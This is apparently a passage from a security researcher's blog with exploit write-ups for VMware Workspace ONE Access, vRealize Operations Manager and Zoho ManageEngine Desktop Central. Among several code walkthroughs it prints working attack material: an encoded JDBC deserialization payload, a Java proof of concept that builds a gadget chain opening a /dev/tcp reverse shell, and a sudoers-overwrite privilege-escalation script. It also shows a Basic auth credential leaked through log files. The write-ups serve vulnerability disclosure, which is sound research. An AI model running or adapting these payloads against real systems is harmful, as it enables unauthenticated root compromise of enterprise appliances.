But of course, we can improve on this. Inspired by RicterZ, let’s say you want to exploit the bug without internet access. You can re-use the com.vmware.licensecheck.LicenseChecker class VMWare provides us and mix deserialization with the PostgreSQL JDBC driver attack.

Let’s walk from one of the LicenseChecker constructors, right to the vulnerable sink.

    public LicenseChecker(final String s) {
        this(s, true); // 1
    }

    public LicenseChecker(final String state, final boolean validateExpiration) {
        this._handle = new LicenseHandle();
        if (state != null) {
            this._handle.setState(state); // 2
        }
        this._validateExpiration = validateExpiration;
    }

At [1] the code calls another constructor in the same class with the parsed in string. At [2] the code calls setState on the LicenseHandle class:

    public void setState(String var1) {
        if (var1 != null && var1.length() >= 1) {
            try {
                byte[] var2 = MyBase64.decode(var1); // 3
                if (var2 != null && this.deserialize(var2)) { // 4
                    this._state = var1;
                    this._isDirty = false;
                }
            } catch (Exception var3) {
                log.debug(new Object[]{"failed to decode state: " + var3.getMessage()});
            }

        }
    }

At [3] the code base64 decodes the string and at [4] the code then calls deserialize:

    private boolean deserialize(byte[] var1) {
        if (var1 == null) {
            return true;
        } else {
            try {
                ByteArrayInputStream var2 = new ByteArrayInputStream(var1);
                DataInputStream var3 = new DataInputStream(var2);
                int var4 = var3.readInt();
                switch(var4) {
                case -889267490:
                    return this.deserialize_v2(var3); // 5
                default:
                    log.debug(new Object[]{"bad magic: " + var4});
                }
            } catch (Exception var5) {
                log.debug(new Object[]{"failed to de-serialize handle: " + var5.getMessage()});
            }

            return false;
        }
    }

You can probably see where this is going already. At [5] the code calls deserialize_v2 if a supplied int is -889267490:

    private boolean deserialize_v2(DataInputStream var1) throws IOException {
        byte[] var2 = Encrypt.readByteArray(var1);
        if (var2 == null) {
            log.debug(new Object[]{"failed to read cipherText"});
            return false;
        } else {
            try {
                byte[] var3 = Encrypt.decrypt(var2, new String(keyBytes_v2)); // 6
                if (var3 == null) {
                    log.debug(new Object[]{"failed to decrypt state data"});
                    return false;
                } else {
                    ByteArrayInputStream var4 = new ByteArrayInputStream(var3);
                    ObjectInputStream var5 = new ObjectInputStream(var4);
                    this._htEvalStart = (Hashtable)var5.readObject(); // 7
                    log.debug(new Object[]{"restored " + this._htEvalStart.size() + " entries from state info"});
                    return true;
                }
            } catch (Exception var6) {
                log.warn(new Object[]{var6.getMessage()});
                return false;
            }
        }
    }

At [6] the code will call decrypt, and decrypt the string using a hardcoded key. Then at [7] the code will call readObject on the attacker supplied string. At this point we could supply our deserialization gadget right into the jdbc uri string, removing any outgoing connection requirement! Here is a proof of concept to execute the command touch /tmp/pwn:

jdbc:postgresql://si/saas?socketFactory=com.vmware.licensecheck.LicenseChecker%26socketFactoryArg=yv7a3gAACwQAAAAIUhcrRObG2UIAAAAQoz1rm0A08QaIZG2jKm3PvgAACuBO%252Bkf56P3LYUtlxM%252Fd9BtAjxDOFJAiL9KmHfk1p01I544KCUNyVi2UpONDLJHejQCbZi20R8JW3zg879309FDfjSabzvJ2PxvJafQqei8egUOn32BJngdb1r0jwJ8rrxsheJQc3BXJny6pma9pHciqmjJUioTfyKousm%252Fk8YiId8nFu0IX2yQS3GkvV%252FUHCz06KusffoQatuTOL465%252BChdQG88W9FGawgr7Pc9TzZTDZoy%252Bel83sU9hFqcW0oaDgQGtvsVjovnL71fsbQ2ik4C0p8lKxgGRamJmZKl5UvrWpgbOoi5ueTPvr2RgsvyrYno%252Bg3EghzuYjfgdG5owEIPAbHY39mgsjnFR5VZlJR6xmeEkadeGYfvhv%252FU9X57N6a3jmUvCpd50a96GQawp%252BmnfNx5hvp7z%252BjKuSecJ9ruTClM7P9XnU0hspHYgPIXk085Vhdh0P%252BECl%252F7pAAq0rZVEittj43DZhRDbvjqnEbd%252FvueXUK3e0Ld7PZ5oZa055dPxI7uw9FPYMEGnq6WLjFAyZT13QrnITd7uESJE82ZCgDLT7V81UHv3E9DPFPsryRITA9wAu4EycM4aGlh%252FcJzmxKCG%252Fcrt9FvzeQd4SGxhOK7i2I%252B4OUy8mjKgDh4dajVM8cVEogVqnyPWCP7ZYJsPrUlx2F6lhGo53%252BuBQzMzu2IerBZRVeE43CsxfBW1073y8FRYxX8A8w%252BaGikZUcanJ6T%252FfW0z7ENfTTXJYzt%252BNaEsZo5Q2FTeOgzg9%252BLE9d64w7P4SZ5HjIl4xnji2KjUZ2%252FGzzRhSxbsy3EyHvWJurBaNx1mOuYReexqHe7Va1mKjJHizU88T9kn6IVc8yCO9npFl%252Bh4uLAiruwHCC0YZK4O%252F%252BmfOb%252Fb3WescghMkp2s%252FxMe4bfjeomQWqzobztKry32vWM%252BovpDJHbOlTANviW50AzaXCVjGF10Ch86XAsHyiEpb44CzaMSWXV%252BfnQFw%252FRgY9uhv%252FUoUtxZs%252FmOpzSxgywFUNGaC1%252FoMXWmqJ5pne2fO2tH3EYyLhBIbK4GpTY5vzC8yRqYAyVW6LgkK%252FLZerScwc49NjWLZXMYOr9bsH2Ed2TEoy5sYUnMPmN19%252FZQqYWO2N1UaCV1D7F9V3z6fKRuhq0EyNj5RvXg%252BdUz%252FBuUzoju7Rbky1dYg3mQr4AbX94bi%252FLK5mdWlPcavJJlmBJGpxClGQmE%252BxpW2WVrQtAOGJrlcC0oTJSbe8ynPWoXbhqW3uXsNU2r5a2axQgNJfQDGomgtViDeqARbMrAoicMHIUH%252B1GDv9tLwaKMcBJC48ENoUrUfaFn68S9pFesqvjzvMB0Q%252BLmiXF9pfO02fVG5FWuMwouEYANrbnbL7MiPqoGPTwS6547LJh%252BScQ4dYc1Ga%252Bqfxh0NCXSfeetVdY7w7rilctRpe%252Fgchj6Q7SAK2%252BcX%252B0qlozTXdBhYvCOgWoXf5OYelsPJp%252BYPylKJyKC4v1fPskeZic8SA5EPKBQGmcwP09BmwD6J7t9GFMyvnxgl1Zlr5EggDqT7QXW0RhH4e%252FM7Jjhp4D%252F%252F1y8nfEfM23MqrRSZ%252B33P5xMXrbA7SgUbaC8fFlma85xpcaS1VBvs4%252FvUNs5Wsl9D2hAsiiBFu3vQiGXJVsB7KmV8Vuh2shiD8Akq5R2%252F3oSb1t%252BLm0ZcIP4MYLtvGkyfBXj81C3KKKNta4tZTpZW7MfeiXo%252FMoorn06fxlh7elFoPYLZ5eA7DB0jwBtUJ1Ay4xNgL24DnQlIwWkTrZJvdIzs0zTvFv3yYvgq4CaNwDDBbGdYufSRULnI8BAJgedXQqVkV9a3W4nK%252FYCMyczUZ%252FI2Nsslf4zqb3s1RJltGAPsHoR7YjKC1iZG1b%252BYGSN%252FyCW6RZJGxESArr3a1pcNndQUIzabKjIotYOFtMdrAdF9xXKNcMYN8qdFhAJ6PUkS%252FRuu%252F7YxM9xzpN9%252Br4JuuwnO8P6n4l9mib8J6ElX1GXw5Tc7MpdVcW%252BUqkKRLICuh1H5f53E8MO4ESJ2Ku56xvNZyJ0Ai2LDzumgORDeVJa4BLrUgeRkTZqOkYdRWHXrFTTP9HFgXobAQqj75nRkpFEQMEzbKSjdQAU%252B%252Bq2730wMh5LuVRui7HUPnvUCZDpkgDr9GDMGJitt%252FU6RtHqQmYB%252B%252FpFLr7m3g1tazYHvEyrQjBKdhv2FfijNtYaskJqkqPx3uRMSy%252F5l6wmQQlwbOTGXlAdUtVfKpO537dXFOofuN%252BuzIAQdXaLRddhE7fFhhrMwQXuj1jCDi70d%252FWBsy6lHxephuN5ANcl3IuGhx4MV0XRbZpt4MpGqJ2eZM18UCyk%252Fg4a%252Bgp0eRQWgA3KPJ9pZJiGk8EBFBeqsu2Y%252BIcVjGLKzghcdPpsBt3ef1TKUO0DZbS2RLMvA1dtq1vxGYuAIMHJ%252BxREAwSywn7ON9RqrF56hS91rlYJfBjPC%252FSurUVD98wa9WjqygmVsiI78QzExmrAmstUz5WsvLFl%252BoYKR%252FRLKYtjihNvFaSPYkbRNJ1GzKL0ZOXMyDJ3KcPeSkJa13vbJqmBO1JAuG8sfuRXjmaYNWdXI%252Bb%252Bkhs4V5o9IYnehTZgj4LHS7idmBjbWskldTDZHxofnnGKZenTPzbfsCzDKaGg5evEO6qpk%252FegKKK6ORyfxulQB0%252B5wzl0Z1TW3eLuRzi8jeo%252Fx3OOqgbLIqnfWFFfhezTnSYYBJdVEC4hwRksjZ9AReieEKYeZyqb1Hybg4w3q1H2I16iH4ku5R%252FCJnZBHcgPRZniF1Bohq79vgyJs9MAsfTwc%252F%252BAXUBbV8DnfdxoWwzLms6cqP2Bcuu86qORtOE4K5fNMEvYAy30%252FE70zdZoNMS%252BOsb0Lbl1cuxVpuwza0herBOLDBNlPMbi90pQ7Mt6OA7VwCiUW3TsdivLEPYKBQ3q5a5R0DEScmh5Y9BGYxgwXKfACbTjXHkrCcGLwSxTvEFJ4sjTxa%252By3rgVjWTXaRy91GRfcoNouIBmY%252FDj1ilIYPRBTP23a9IdO4M%252F4R%252FLlX454wJksnuTu6sTID7G1ELvBHCyFxjMAl0meovxnI1uZ6PuWDaC5ax4WIeG2PodvqHKdRLbU0OzmD8XyjdxY4c%252F%252FJQRl85xQ8LdlgWMrTTIlWy6jf0Z2ERwc5Oi7DK5WMZD9p2b3lARlNgo0LORSenjefQkIjAqEXXLpRYTAeJXmHJiK3iCnrNO2R8QmdujTPQthLQaAnoDuHf7Mt1iWnUTuwYv9e64ndK7lZ3%252FBjb4MYssgc9PavSz9tAP00jZXZbq%252BM2zl2AukG0IMtunNv86dO%252BlekCjSgv%252BGH7KxNa5Yb1dlvR62c2vhE8U%252Bq%252BEU7CR4Z8lfJoAYrHMcWqlerIdc44GskzJVKb4LbpLqCMQFx3Gh%252Fq%252FwuwguPLDiQCNnyta5d9QO3aoY4BkzimWshsgyJzesREag3YehFjvfUSl%252B2Ytn5J2aHZmx3tOPrh1fa6480lb%252BWC%252Bex40M4RjPXOQKxB07UWUvumml%252BYwA8jqCcwhz0n2gHUsFHq4UovgBlETV9r7uOTX6hDHO5ztgca6c1KUINt1LA2EzFd6Hedjzx5%252FjVJb8SyviMQl4SyCeyPRS8FMGkPda8oGAiPGyc99tcQg6XItDYG0XIw%252BN59tQ8Pvfx9EBM1TOcP7NGWb7LdZixcDnLDBw77kVwxJEvcGZ2sTqIG7VdZvNsGupRwLqqeLkEpQM4%253D

Note that your payload will need to double encode special characters. To generate the state string, I re-used VMWare’s classes:

import com.vmware.licensecheck.LicenseChecker;
import com.vmware.licensecheck.LicenseHandle;
import com.vmware.licensecheck.MyBase64;
import ysoserial.payloads.ObjectPayload.Utils;
import java.lang.reflect.Field;
import java.net.URLEncoder;
import java.util.Hashtable;
import java.io.*;

public class Poc {
    public static void main(String[] args) throws Exception {
        String shell = MyBase64.encode("bash -c \"bash -i >& /dev/tcp/10.0.0.1/1234 0>&1\"".getBytes());
        Object payload = Utils.makePayloadObject("CommonsBeanutils1", String.format("sh -c $@|sh . echo echo %s|base64 -d|bash", shell));
        LicenseChecker lc = new LicenseChecker(null);
        Field handleField = LicenseChecker.class.getDeclaredField("_handle");
        handleField.setAccessible(true);
        LicenseHandle lh = (LicenseHandle)handleField.get(lc);
        Field htEvalStartField = LicenseHandle.class.getDeclaredField("_htEvalStart");
        htEvalStartField.setAccessible(true);
        Field isDirtyField = LicenseHandle.class.getDeclaredField("_isDirty");
        isDirtyField.setAccessible(true);
        Hashtable<Integer, Object> ht = new Hashtable<Integer, Object>();
        ht.put(1337, payload);
        htEvalStartField.set(lh, ht);
        isDirtyField.set(lh, true);
        handleField.set(lc, lh);
        String payload = URLEncoder.encode(URLEncoder.encode(lc.getState(), "UTF-8"), "UTF-8");
        System.out.println(String.format("(+) jdbc:postgresql://si/saas?socketFactory=com.vmware.licensecheck.LicenseChecker%%26socketFactoryArg=%s", payload));
    }
}

I have included the licensecheck-1.1.5.jar library in the exploit directory so that the exploit can be re-built and replicated. It should be noted that the first connection to a PostgreSQL database doesn’t need to be established for the attack to succeed so an invalid host/port is perfectly fine. Details about this attack and others similar to it can be found in the excellent blog post by Xu Yuanzhen.

The final point I will make about this is that the LicenseChecker class could have also been used to exploit CVE-2021-21985 since the licensecheck-1.1.5.jar library was loaded into the target vCenter process coupled with publicly available gadget chains.

publishCaCert and gatherConfig Privilege Escalation

This exploit was straight forward and involved overwriting the permissions of the certproxyService.sh script so that it can be modified by the horizon user.

Proof of Concept

I built three exploits called Hekate (that’s pronounced as heh-ka-teh). The first exploit leverages the MySQL JDBC driver and the second exploit leverages the PostgreSQL JDBC driver. Both exploits target the server and client sides, requiring an outbound connection to the attacker.

The third exploit leverages the PostgreSQL JDBC driver again, this time re-using the com.vmware.licensecheck.* classes and avoids any outbound network connections to the attacker. This is the exploit that was demonstrated at Black Hat USA 2022.

All three exploits can be downloaded here: https://github.com/sourceincite/hekate/.

Server-side	Client-side

All the vulnerabilities used in Hekate also impacted the cloud version of the VMWare Workspace ONE Access in its default configuration.

Exposure

Using a quick favicon hash search, Shodan reveals ~700 active hosts were vulnerable at the time of discovery. Although the exposure is limited, the systems impacted are highly critical. An attacker will be able to gain access to third party systems, grant assertions and breach the perimeter of an enterprise network all of which can’t be done with your run-of-the-mill exposed IoT device.

Conclusion

The limitations of CVE-2020-4006 was that it required authentication and it was targeting port 8443. In comparison, this attack chain targets port 443 which is much more likely exposed externally. Additionally, no authentication was required all whilst achieving root access making it quite disastrous and results in the complete compromise of the affected appliance. Finally, it can be exploited in a variety of ways such as client-side or server-side without the requirement of a deserialization gadget.

References

From Shared Dash to Root Bash :: Pre-Authenticated RCE in VMWare vRealize Operations Manager

Tue, 09 Aug 2022 14:00:00 +0000

On May 27th, I reported a handful of security vulnerabilities to VMWare impacting their vRealize Operations Management Suite (vROps) appliance. In this blog post I will discuss some of the vulnerabilities I found, the motivation behind finding such vulnerabilities and how companies can protect themselves. The result of the research project concludes with a pre-authenticated remote root exploit chain using seemingly weak vulnerabilities. VMware released an advisory and patched these vulnerabilities in VMSA-2022-0022.

Motivation

This project was motivated by the excellent blog post that Egor wrote titled Catching bugs in VMware: Carbon Black Cloud Workload Appliance and vRealize Operations Manager. Egor used a pre-authenticated SSRF to leak the highly privileged credentials and then chained it with an arbitrary file upload vulnerability to gain remote code execution as admin.

As always, it provides a real challenge to find high impact web vulnerabilities against a target that had been previously audited by other security researchers.

Tested Versions

The vulnerable version at the time of testing was 8.6.3.19682901 which was the latest and deployed using the vRealize-Operations-Manager-Appliance-8.6.3.19682901_OVF10.ova (sha1: 4637b6385db4fbee6b1150605087197f8d03ba00) file. It was released on the 28th of April 2022 according to the release notes. This was a Photon OS Linux deployment designed for the cloud.

I also tested an older version - 8.6.2.19081814 using the vRealize-Operations-Manager-Appliance-8.6.2.19081814_OVF10.ova (sha1: 0363f4304e4661dde0607a3d22b4fb149d8a10a4) file and confirmed that the vulnerabilities also exist in this version. The final exploit I wrote works on both versions and should work on anything in between!

MainPortalFilter ui Authentication Bypass (CVE-2022-31675)

CVSS: 5.6 (/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:L)
Advisory: SRC-2022-0017

The first vulnerability is in the com.vmware.vcops.ui.util.MainPortalFilter class:

    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
        HttpServletRequest request = (HttpServletRequest)servletRequest;
        HttpServletResponse response = (HttpServletResponse)servletResponse;
        HttpSession session = request.getSession();
        // ...
        String servletPath = request.getServletPath().toLowerCase();
        UserContext userContext = UserContextVariable.get();
        // ...
        if (servletPath != null && servletPath.toLowerCase().startsWith("/contentpack/dashboard_dump/")) {
            response.setStatus(400);
        } else {
            String token1 = request.getParameter("t"); // 1

            boolean isSaasModeUser;
            boolean isResourcePath;
            boolean ssoRequested;
            try {
                if (token1 != null) { // 2
                    isSaasModeUser = UserContextVariable.isAnonymousUser();
                    DashboardLink dashboardLink = DashboardShareAction.getDashboardPublicLink(token1, (String)null); // 3
                    if (userContext == null || dashboardLink == null || (isSaasModeUser || !userContext.getUserId().equals(dashboardLink.getUserId())) && (!isSaasModeUser || !userContext.getUserKey().equals(dashboardLink.getUserId()))) {
                        //...
                        if (dashboardLink != null) { // 4
                            if (isResourcePath) {
                                response.sendRedirect("dashboardViewer.action");
                                filterChain.doFilter(request, servletResponse);
                                return;
                            }

                            if (ssoRequested) {
                                this.doSessionResolve(request, response);
                            } else {
                                session.setAttribute("token1", token1);
                                session.setAttribute("allowExternalAccess", true);
                                response.setHeader("Set-Cookie", "JSESSIONID=" + session.getId() + "; Path=/ui; Secure; HttpOnly; SameSite=None");
                                response.sendRedirect("dashboardViewer.action?mainAction=dr");
                                filterChain.doFilter(request, servletResponse); // 5
                            }
                            // ...

At [1] the code looks for a t parameter from the incoming request and if found at [2] the code tries to find a DashboardLink instance with the code at [3]. Then if a valid DashboardLink was found at [4] the code reaches the doFilter at [5]. This allows an attacker with a valid dashboard link id to bypass authentication completely in the /ui/ struts frontend.

When an admin creates a dashboard link to share, an entry is created into the Cassandra database:

root@photon-machine [ ~ ]# /usr/lib/vmware-vcops/cassandra/apache-cassandra-3.11.11/bin/cqlsh.py --ssl --cqlshrc /usr/lib/vmware-vcops/user/conf/cassandra/cqlshrc
Connected to VROps Cluster at 127.0.0.1:9042.
[cqlsh 5.0.1 | Cassandra 3.11.11 | CQL spec 3.4.4 | Native protocol v4]
Use HELP for help.
vcops_user@cqlsh> select key from globalpersistence.dashboardpubliclinks;

 key
--------------------------
 vcgh5fgjhs_::_ns3d5yt5vk

(1 row)
vcops_user@cqlsh>

It’s common to create and share dashboard links, since it’s by design and even expected to be embedded in a page:

After accessing the link without a valid session, we can view the associated dashboard:

The interesting thing to note here, is that port 443 is supposed to be exposed because how else could dashboard links be shared?

Exploitation

It’s not possible to leak data directly using this vulnerability since the server responds with a 302 redirect. At first, I thought I was up against the chicken and egg problem where I can only fire off requests to endpoints to change data, but I couldn’t use CSRF tokens because I couldn’t read them back due to the redirect! Oh my! However, on careful inspection I noticed that I could create a user and omit the secureToken CSRF token. This is because the call to doFilter is hit on line 120, well before the call to checkSecureToken on line 345!

An additional advantage to this vulnerability is, that an attacker can link someone to a malicious website that can backdoor the application with an admin user. Putting it together though, I can backdoor the application with an admin user without interaction if I have a shared dashboard link. The user created is restricted to the /ui/ and /suite-api/ interfaces but I wanted access to the /admin/ interface because there exists a forever day remote code execution in this component by enabling SSH access.

It looks like we are going to have to hunt another vulnerability!

SupportLogAction Information Disclosure (CVE-2022-31674)

CVSS: 6.5 (/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N)
Advisory: SRC-2022-0019

Inside of the com.vmware.vcops.ui.action.SupportLogsAction class we find the following entry:

                if (this.mainAction.equals("getLogFileContents")) { // 1
                    lduId = this.request.getParameter("instanceId");
                    instanceId = this.request.getParameter("fileName"); // 2
                    boolean allowedFileName = WebUtils.isAllowedFileName(instanceId); // 3
                    if (!allowedFileName) {
                        this.writeJsonOutput("{status: 'can not complete request, invalid file type or pattern'}");
                        return null;
                    } else {
                        lduId = this.request.getParameter("lduId");
                        logTypeStr = this.request.getParameter("logType");
                        LogType logType = LogType.fromString(logTypeStr);
                        linePosition = this.request.getParameter("linePosition").isEmpty() ? -1 : Integer.parseInt(this.request.getParameter("linePosition"));
                        int lineLimit = this.request.getParameter("lineLimit").isEmpty() ? 1000 : Integer.parseInt(this.request.getParameter("lineLimit"));
                        if (!lduId.isEmpty() && !instanceId.isEmpty() && !lduId.isEmpty() && logType != null && lineLimit >= 0) {
                            ResultDto<LogFileContentsDTO> fileContent = this.dataRetriever.getSupportLogFileContents(lduId, logType, lduId, instanceId, linePosition, lineLimit); // 4
                            // ...
                        } else {
                            this.writeJsonOutput("{status: 'can not request, missing some params'}");
                            return null;
                        }
                    }
                }

At [1] the code checks for the mainAction parameter to be the value of getLogFileContents. Then at [2] the code gets the fileName parameter and at [3] the code calls isAllowedFileName on it. This was the giveaway for me:

    public static Boolean isAllowedFileName(String fileName) {
        if (!fileName.matches(".*\\.(?i)(log|txt|out|current)(\\.\\d+)?$")) {
            return false;
        } else {
            String nonEncodedFileName = fileName.replaceAll("(?i)(%2e|%252e)", ".");
            nonEncodedFileName = nonEncodedFileName.replaceAll("(?i)(%2f|%252f|%5c|%255c|\\\\)", "/");
            return nonEncodedFileName.contains("../") ? false : true;
        }
    }

Essentially the code is looking for any log file in /storage/log/vcops/log/ directory.

Exploitation

The issue comes down to the Pak manager writing sensitive passwords into log files:

root@photon-machine [ /storage/log/vcops/log/pakManager ]# grep -lir "bWFpbnRlbmFuY2VBZG1pbjplMmhPYk01Y0YwWWdRNFhNU0lWeTNFemQ="
APUAT-86018696447/apply_system_update_stderr.log
APUAT-85018176777/apply_system_update_stderr.log
vcopsPakManager.root.post_apply_system_update.log.1

For example, in APUAT-86018696447/apply_system_update_stderr.log we see:

DEBUG - Calling GET: /casa/security/ping, headers: {'Content-Type': 'application/json', 'Accept': 'application/json', 'X-vRealizeOps-API-use-unsupported': 'true', 'Authorization': 'Basic bWFpbnRlbmFuY2VBZG1pbjplMmhPYk01Y0YwWWdRNFhNU0lWeTNFemQ='}

This occurs when a legitimate Pak file is uploaded, and an install is triggered. At first it appears that the vulnerability is within the Pak manager for logging such sensitive data, but the real vulnerability is in the exposure to a lower privileged user. VMWare removed the Pak manager interface from the /ui/ and tried to implement a little security by obscurity!

Using this vulnerability, I was able to leak the maintenanceAdmin user and trigger a password reset for the admin user because it’s the user that can login from remote via SSH:

root@photon-machine [ ~ ]$ cat /etc/passwd | grep bash
root:x:0:0:root:/root:/bin/bash
admin:x:1000:1003::/home/admin:/bin/bash
postgres:x:1001:100::/var/vmware/vpostgres/11:/bin/bash

At first when I checked, I thought I had enough privileges as root at this point, but it turns out I didn’t.

admin@photon-machine [ ~ ]$ id
uid=1000(admin) gid=1003(admin) groups=1003(admin),0(root),25(apache),28(wheel)
admin@photon-machine [ ~ ]$ head -n1 /etc/shadow
head: cannot open '/etc/shadow' for reading: Permission denied

Which means, more bug hunting and chaining!

generateSupportBundle VCOPS_BASE Privilege Escalation (CVE-2022-31672)

CVSS: 7.2 (/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H)
Advisory: SRC-2022-0020

Inside of the /etc/sudoers file we find the following entry:

admin ALL = NOPASSWD: /usr/lib/vmware-vcopssuite/python/bin/python /usr/lib/vmware-vcopssuite/utilities/bin/generateSupportBundle.py *

This allows low privileged users to run the script as root using sudo. Inside of the generateSupportBundle.py file we find:

try:
    VCOPS_BASE = os.environ['VCOPS_BASE'] # 1
except KeyError as ex:
    # In cloudvm, this could happen - for example, if caller like cis
    # has not called the /etc/profile.d/vcops.sh.
    filePath = os.path.dirname(os.path.realpath( __file__ ))
    # Since this file is located at $VCOPS_BASE/tools, we can use relative path
    VCOPS_BASE =  os.path.abspath(filePath + "/..")
VCOPS_BASE=VCOPS_BASE.replace('\\', '/')
commonLib = VCOPS_BASE + '/install/'
sys.path.append(commonLib)

The code heavily depends on the VCOPS_BASE environment variable at [1]. When running the script, the following code is executed:

ds = []
if options.get("action") is None:
    options["action"] = 'create'
#...
if options.get("action") == 'create':
    runGssTroubleShootingScript() # 2

The runGssTroubleShootingScript method is called if action is not supplied at [2].

def runGssTroubleShootingScript():
    gss_troubleshooting_script_path = os.path.join(find_vcops_base_path(), "..", "vmware-vcopssuite", "utilities", "bin") # 3

    try:
        output = subprocess.Popen("{0}/gss_troubleshooting.sh".format(gss_troubleshooting_script_path))
    except subprocess.CalledProcessError as e:
        print ('Failed to run gss troubleshooting script, error code {0}:'.format(e.returncode))

At [3], that method attempts to call an executable script as root and uses find_vcops_base_path to get the path location of the script:

def find_vcops_base_path():
    """Finds the VCOPS_BASE environment variable.
    @return: the VCOPS_BASE path or an exception if it cannot be found.
    """
    if 'VCOPS_BASE' in os.environ:
        vcops_base_path = os.environ['VCOPS_BASE'] # 4
    elif 'ALIVE_BASE' in os.environ:
        vcops_base_path = os.environ['ALIVE_BASE']
   # ...
   return vcops_base_path # 5

At [4] and [5] if the VCOPS_BASE environment variable is set, it will return that.

Exploitation

All an attacker needs to do is setup the environment variable before calling the script to elevate privileges.

#!/bin/sh
mkdir -p poc
mkdir -p vmware-vcopssuite/utilities/bin/
cat <<EOT > vmware-vcopssuite/utilities/bin/gss_troubleshooting.sh
#!/bin/sh
echo "admin ALL = NOPASSWD: ALL" >> /etc/sudoers
EOT
chmod 755 vmware-vcopssuite/utilities/bin/gss_troubleshooting.sh
sudo VCOPS_BASE=poc /usr/lib/vmware-vcopssuite/python/bin/python /usr/lib/vmware-vcopssuite/utilities/bin/generateSupportBundle.py test > /dev/null 2>&1
sudo rm -rf poc
sudo rm -rf vmware-vcopssuite
sudo sh
sudo sed -i '$ d' /etc/sudoers

Proof of Concept

The exploit is called DashOverride and you can download it here.

Conclusion

Each of the CVSS scores for the 3 vulnerabilities are rated moderate/high and when considered on their own, they are quite weak. But chained together their impact is significant and depending on your threat model, the authentication bypass scenario could pose a real threat if dashboard links are shared around within your organization or exposed on the perimeter.

Some of you may ask, well did you get a bounty for any of this? In which the short answer is… No.

References

ZohOwned :: A Critical Authentication Bypass on Zoho ManageEngine Desktop Central

Thu, 20 Jan 2022 14:00:00 +0000

On December 3, 2021, Zoho released a security advisory under CVE-2021-44515 for an authentication bypass in its ManageEngine Desktop Central and Desktop Central MSP products. On December 17, 2021, the FBI published a flash alert, including technical details and indicators of compromise (IOCs) used by threat actors. Shortly after, William Vu published an Attackerkb entry after doing some static analysis. Meanwhile during the whole of December, I was on holidays!

Why did this matter? Well, as it turns out I was sitting on a few bugs I had found in Desktop Central when I audited it back in December 2019. One of them, being an authentication bypass and after reading the FBI report I quickly relized we were dealing with the same zeroday!

At the time, I could only exploit the bug to trigger a directory traversal and write a zip file onto the target system (the same bug that was used in the wild). Since I didn’t have any vector for exploitation and I already had CVE-2020-10189 handy, I decided to leave it alone and include it as part of my Full Stack Web Attack training within module-5 (A zero-day hunt in ManageEngine Desktop Central). I even hinted to a partial authentication bypass to some students! ;->

So after coming back from holidays, I decided to give the bug some justice and understand/improve on the attack that the threat actors pulled off. First though, what is it we are dealing with here?

StateFilter Arbitrary Forward Authentication Bypass Vulnerability

Inside of the web.xml file we find the following entry:

<filter>
  <filter-name>StateFilter</filter-name>
  <filter-class>com.adventnet.client.view.web.StateFilter</filter-class>
</filter>

<filter-mapping>
  <filter-name>StateFilter</filter-name>
  <url-pattern>/STATE_ID/*</url-pattern>
</filter-mapping>

Filters are triggered pre-authenticated and often used to validate clientside data such as csrf tokens, sessions, etc. Let’s check the doFilter method:

/*     */   public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
/*     */     try {
/*  41 */       Long startTime = new Long(System.currentTimeMillis());
/*  42 */       request.setAttribute("TIME_TO_LOAD_START_TIME", startTime);
/*  43 */       logger.log(Level.FINEST, "doFilter called for {0} ", ((HttpServletRequest)request).getRequestURI());
/*  44 */       StateParserGenerator.processState((HttpServletRequest)request, (HttpServletResponse)response); // 1
/*  45 */       String forwardPath = ((HttpServletRequest)request).getRequestURI();
/*  46 */       if (!WebClientUtil.isRestful((HttpServletRequest)request) || forwardPath.indexOf("STATE_ID") != -1) { // 8 
/*     */         
/*  48 */         String path = getForwardPath((HttpServletRequest)request); // 9
/*  49 */         RequestDispatcher rd = request.getRequestDispatcher(path); // 10
/*  50 */         rd.forward(request, response); // 11
/*     */       }
/*     */       //...

At [1] the code calls stateParserGenerator.processState with the attacker controlled request:

/*     */   public static void processState(HttpServletRequest request, HttpServletResponse response) throws Exception {
/* 288 */     if (StateAPI.prevStateDataRef.get() != null) {
/*     */       return;
/*     */     }
/*     */     
/* 292 */     Cookie[] cookiesList = request.getCookies();
/* 293 */     if (cookiesList == null)
/*     */     {
/* 295 */       throw new ClientException(2, null);
/*     */     }
/*     */ 
/*     */     
/* 299 */     TreeSet set = new TreeSet(new StateUtils.CookieComparator()); // 2
/* 300 */     String contextPath = request.getContextPath();
/* 301 */     contextPath = (contextPath == null || contextPath.trim().length() == 0) ? "/" : contextPath;
/*     */     
/* 303 */     String sessionIdName = request.getServletContext().getSessionCookieConfig().getName();
/* 304 */     sessionIdName = (sessionIdName != null) ? sessionIdName : "JSESSIONID";
/*     */     
/* 306 */     for (int i = 0; i < cookiesList.length; i++) {
/*     */       //...
/* 316 */       String cookieName = cookie.getName();
/*     */       //...    
/* 334 */       if (cookieName.startsWith("_")) {
/*     */         
/* 336 */         cookiesList[i].setPath(contextPath);
/* 337 */         response.addCookie(cookiesList[i]);
/*     */       }
/* 339 */       else if (cookieName.startsWith("STATE_COOKIE")) {
/*     */         
/* 341 */         set.add(cookiesList[i]); // 3
/*     */       }
/*     */     //...
/* 369 */     if (set.size() == 0) { // 4
/*     */       
/* 371 */       request.setAttribute("STATE_MAP", NULLOBJ);
/* 372 */       if (!WebClientUtil.isRestful(request))
/*     */       {
/* 374 */         throw new ClientException(2, null);
/*     */       }
/*     */       return;
/*     */     }
/* 378 */     Iterator iterator = set.iterator();
/* 379 */     StringBuffer cookieValue = new StringBuffer();
/* 380 */     while (iterator.hasNext()) {
/* 381 */       Cookie currentCookie = (Cookie)iterator.next();
/* 382 */       String value = currentCookie.getValue();
/* 383 */       cookieValue.append(value);
/*     */     } 
/* 385 */     request.setAttribute("PREVCLIENTSTATE", cookieValue.toString());
/* 386 */     Map state = parseState(cookieValue.toString()); // 5
/*     */     //...
/* 388 */     Iterator ite = state.keySet().iterator();
/* 389 */     while (ite.hasNext()) {
/*     */       
/* 391 */       String uniqueId = (String)ite.next();
/* 392 */       Map viewMap = (Map)state.get(uniqueId);
/* 393 */       refIdVsId.put(viewMap.get("ID") + "", uniqueId);
/*     */     } 
/* 395 */     StateAPI.prevStateDataRef.set((state != null) ? state : NULLOBJ);
/* 396 */     if (state != null) {
/*     */       
/* 398 */       if (!WebClientUtil.isRestful(request)) {
/*     */         
